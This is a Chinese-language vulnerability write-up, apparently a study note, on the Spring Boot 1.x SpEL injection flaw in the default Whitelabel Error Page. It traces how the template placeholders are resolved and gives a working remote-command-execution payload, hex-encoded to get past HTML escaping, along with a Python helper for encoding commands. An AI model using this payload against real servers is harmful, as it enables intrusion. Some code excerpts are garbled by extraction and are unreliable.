SpringBoot1.xSpEL表达式注⼊漏洞
前⾔:学习springboot系列的漏洞
什么是SpEL表达式
Spring Expression Language(简称 SpEL)是⼀种功能强⼤的表达式语⾔、⽤于在运⾏时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是⽅法调⽤和基本字符串模板函数。SpEL 的诞⽣是为了给 Spring 社区提供⼀种能够与 Spring ⽣态系统所有产品⽆缝对接,能提供⼀站式⽀持的表达式语⾔。
最常见的就是在配置数据源的那块,为了统⼀管理,⼀般都是将账号密码等信息都⼀起写到 xxx.properties 中,然后通过注⼊PropertyPlaceholderConfigurerResolver 来实现spel表达式的执⾏,这样就能将 xxx.properties 中的资源信息(也就是账号密码)直接引⼊到数据源中。
漏洞介绍和环境搭建
影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
利⽤条件:
1、spring boot 1.1.0-1.1.1
2、1.2.0-1.2.7、1.3.0
2、⾄少知道⼀个触发 springboot 默认错误页⾯的接⼝及参数名
⽤idea打开之后配置下SpringBoot启动项就可以直接跑了
漏洞复现
# coding: utf-8
result = ""
target = 'calc' # ⾃⼰这⾥是windows环境,所以测试命令⽤的是calc
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
漏洞分析
漏洞存在点:/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java
这是⼀个⾃动配置类,既然是SpEL漏洞,那么这个配置类中进⾏是进⾏了相关的表达式解析才导致的。
这⾥就直接在控制器中进⾏下断点来跟,也就是如下的地⽅
mv = ha.handle(processedRequest, response, Handler()); ,⽅法中处理了相关的HTTP请求,相关的控制器⽅法执⾏和触发的异常都是在这⾥⾯执⾏的
因为这⾥会处理异常,所以最终返回给mv变量的是error视图
到⽬前modeView对象已经拿到了,该对象中包含了这⾥HTTP请求处理的处理和相关值,然后将这个作为参数调⽤processDispatchResult,让该⽅法来进⾏渲染
在processDispatchResult⽅法中就会进⾏渲染,其中实现渲染的⽅法名就是render
⽤的是什么解析器来进⾏渲染呢?SpELPlaceholderResolver对象
渲染的模板就是默认的Whitelabel Error Page 模板,其中就四个标签有进⾏相关SpEL表达式的操作的,分别是 ${timestamp} ${error} ${status} ${message}
"<html><body><h1>Whitelabel Error Page</h1>"
+ "<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>"
+ "<div id='created'>${timestamp}</div>"
+ "<div>There was an unexpected error (type=${error}, status=${status}).</div>"
+ "<div>${message}</div></body></html>");
这⾥重点就是分析 String result = plate, solver); ,继续
跟进去看,可以看到调⽤的是replacePlaceholders⽅法
public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}
接着继续来到parseStringValue(PropertyPlaceholderHelper.java)
接着就是⼀块逻辑处理的代码,这⾥不放图,我直接打字来描述即可
protected String parseStringValue(
String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {
StringBuilder result = new StringBuilder(strVal);
int startIndex = strVal.indexOf(this.placeholderPrefix);
while (startIndex != -1) {
int endIndex = findPlaceholderEndIndex(result, startIndex);
if (endIndex != -1) {
String placeholder = result.substring(startIndex + this.placeholderPrefix.length(), endIndex);
String originalPlaceholder = placeholder;
if (!visitedPlaceholders.add(originalPlaceholder)) {
throw new IllegalArgumentException(
"Circular placeholder reference '" + originalPlaceholder + "' in property definitions");
}
// Recursive invocation, parsing placeholders contained in the placeholder key.
placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
/
/ Now obtain the value for the fully
String propVal = solvePlaceholder(placeholder);
···
if (propVal != null) {
// Recursive invocation, parsing placeholders contained in the
// previously resolved placeholder value.
propVal = parseStringValue(propVal, placeholderResolver, visitedPlaceholders);
if (logger.isTraceEnabled()) {
}
startIndex = result.indexOf(this.placeholderPrefix, startIndex + propVal.length());
}
else if (this.ignoreUnresolvablePlaceholders) {
// Proceed with unprocessed value.
spring framework是什么系统startIndex = result.indexOf(this.placeholderPrefix, endIndex + this.placeholderSuffix.length());
}
···
}
else {
startIndex = -1;
}
}
String();
}
1、StringBuilder result = new StringBuilder(strVal); 将要渲染的模板存储到⼀块StringBuilder对象中
2、接着下⾯的while循环就是来寻 this.placeholderPrefix开头并且以this.placeholderSuffix 结尾的字符串,并且将其中的字符串名称取出
3、这时候就来到了 placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders); ,它会将上⾯取出来的字符串作为placeholder变量进⾏传输,通过placeholderResolver解析器来进⾏解析,⽽且这个⽅法还是递归的⽅法,因为上⾯⼀开始取出的字符串中还带有${ }这种,还会递归进⾏parseStringValue解析,直到不存在${}为⽌
4、String propVal = solvePlaceholder(placeholder);,接着就是调⽤这个⽅法,这个⽅法才是真正的主⾓,因为进⾏字符串填充的都是通过这个⽅法
resolvePlaceholder这个⽅法跟进去,可以发现会通过SpelExpressionParser对象的parseExpression⽅法来对传⼊的字符串进⾏保存,最后返回⼀个expression的对象
5、Object value = t); 接着其中继续通过返回来的expression对象来获取其中的值,根据该值来判断返回对应的对象,这⾥传⼊的是timestamp,通过getValue⽅法之后返回出来的是⼀个Date格式的字符串
6、还会对这个返回的字符串进⾏HTML编码处理
return HtmlUtils.htmlEscape(value == null ? null : String());
7、最后进⾏替换处理,将其解析出来的字符串和对应的${}进⾏替换
整个解析过程就是这样,那么这⾥可以知道的就是对于${}字符串的解析是通过SpEL表达式进⾏解析的,那么SpEL表达式是否可以进⾏利⽤?这⾥还需要了解下相关的SpEL表达式的运⽤
SpEL表达式的使⽤
这⾥讲两种⽤法,其他⽤法可以参考⽂章即可
parser.parseExpression("'hello world'");
这⾥输⼊的'hello world' 是需要加上单引号的,加上单引号的作⽤是让SpEL以字符串类型来进⾏解析
public class CodeTest {
public static void main(String[] args) {
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表达式语法设置在parseExpression()⼊参内
Expression exp = parser.parseExpression("'hello world'");
//执⾏SpEL表达式,执⾏的默认Spring容器是Spring本⾝的容器:ApplicationContext
Object value = Value();
System.out.println(value);
}
}
第⼆种T(Type):使⽤"T(Type)"来表⽰java.lang.Class类的实例,即如同java代码中直接写类名。同样,只有java.lang 下的类才可以省略包名。此⽅法⼀般⽤来引⽤常量或静态⽅法
Expression exp = parser.parseExpression("T(java.lang.Math)");,可以发现解析出来的是⼀个math的class对象
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");,那么这样就可以直接执⾏命名了
重新调试,跟进去看下,可以发现原来是被HTML编码处理了,最后返回的字符串存在&
T(java.lang.Runtime).getRuntime().exec('calc'),那么单引号或者双引号就⽆法使⽤,但是这⾥可以通过String类型来进⾏替换,⽤⼗六进制来表达'calc'字符串{0x63,0x61,0x6c,0x63}
那么最后的payload就是${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论